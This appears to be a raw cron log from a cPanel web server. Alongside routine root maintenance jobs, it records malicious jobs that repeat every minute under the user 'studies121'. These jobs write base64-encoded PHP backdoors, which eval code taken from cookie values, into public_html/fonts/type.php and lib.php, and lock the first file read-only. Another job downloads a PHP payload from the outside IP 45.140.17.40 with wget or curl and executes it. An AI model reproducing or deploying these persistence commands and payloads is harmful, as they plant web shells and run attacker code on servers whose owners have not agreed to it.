Sep 21 04:39:01 ip-184-168-122-23 CROND[6334]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 04:39:01 ip-184-168-122-23 CROND[6333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:40:02 ip-184-168-122-23 CROND[6632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:40:02 ip-184-168-122-23 CROND[6631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:40:02 ip-184-168-122-23 CROND[6635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:40:02 ip-184-168-122-23 CROND[6637]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 04:40:02 ip-184-168-122-23 CROND[6638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:40:02 ip-184-168-122-23 CROND[6639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:40:02 ip-184-168-122-23 CROND[6640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:40:02 ip-184-168-122-23 CROND[6641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:41:01 ip-184-168-122-23 CROND[6901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:41:01 ip-184-168-122-23 CROND[6902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:41:01 ip-184-168-122-23 CROND[6903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:41:02 ip-184-168-122-23 CROND[6908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:42:01 ip-184-168-122-23 CROND[7282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:42:01 ip-184-168-122-23 CROND[7283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:42:01 ip-184-168-122-23 CROND[7285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:42:01 ip-184-168-122-23 CROND[7286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:42:01 ip-184-168-122-23 CROND[7287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:43:01 ip-184-168-122-23 CROND[7534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:43:01 ip-184-168-122-23 CROND[7535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:43:01 ip-184-168-122-23 CROND[7536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:43:01 ip-184-168-122-23 CROND[7539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:44:01 ip-184-168-122-23 CROND[7756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:44:01 ip-184-168-122-23 CROND[7757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:44:01 ip-184-168-122-23 CROND[7758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:44:01 ip-184-168-122-23 CROND[7761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:44:01 ip-184-168-122-23 CROND[7764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:45:01 ip-184-168-122-23 CROND[8015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:45:01 ip-184-168-122-23 CROND[8017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:45:01 ip-184-168-122-23 CROND[8018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:45:01 ip-184-168-122-23 CROND[8020]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 21 04:45:01 ip-184-168-122-23 CROND[8021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:45:01 ip-184-168-122-23 CROND[8022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:45:01 ip-184-168-122-23 CROND[8023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:46:01 ip-184-168-122-23 CROND[8277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:46:01 ip-184-168-122-23 CROND[8278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:46:01 ip-184-168-122-23 CROND[8281]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 04:46:01 ip-184-168-122-23 CROND[8285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:46:01 ip-184-168-122-23 CROND[8282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:46:01 ip-184-168-122-23 CROND[8284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:46:01 ip-184-168-122-23 CROND[8283]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 04:47:01 ip-184-168-122-23 CROND[8476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:47:01 ip-184-168-122-23 CROND[8477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:47:01 ip-184-168-122-23 CROND[8478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:47:01 ip-184-168-122-23 CROND[8482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:48:01 ip-184-168-122-23 CROND[8832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:48:01 ip-184-168-122-23 CROND[8834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:48:01 ip-184-168-122-23 CROND[8835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:48:01 ip-184-168-122-23 CROND[8836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:48:01 ip-184-168-122-23 CROND[8837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:49:01 ip-184-168-122-23 CROND[9153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:49:01 ip-184-168-122-23 CROND[9155]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 21 04:49:01 ip-184-168-122-23 CROND[9156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:49:01 ip-184-168-122-23 CROND[9157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:49:01 ip-184-168-122-23 CROND[9158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:50:01 ip-184-168-122-23 CROND[9431]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 04:50:01 ip-184-168-122-23 CROND[9432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:50:01 ip-184-168-122-23 CROND[9433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:50:01 ip-184-168-122-23 CROND[9437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:50:01 ip-184-168-122-23 CROND[9439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:50:01 ip-184-168-122-23 CROND[9440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:50:01 ip-184-168-122-23 CROND[9442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:50:01 ip-184-168-122-23 CROND[9444]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 04:50:01 ip-184-168-122-23 CROND[9443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:51:01 ip-184-168-122-23 CROND[9743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:51:01 ip-184-168-122-23 CROND[9745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
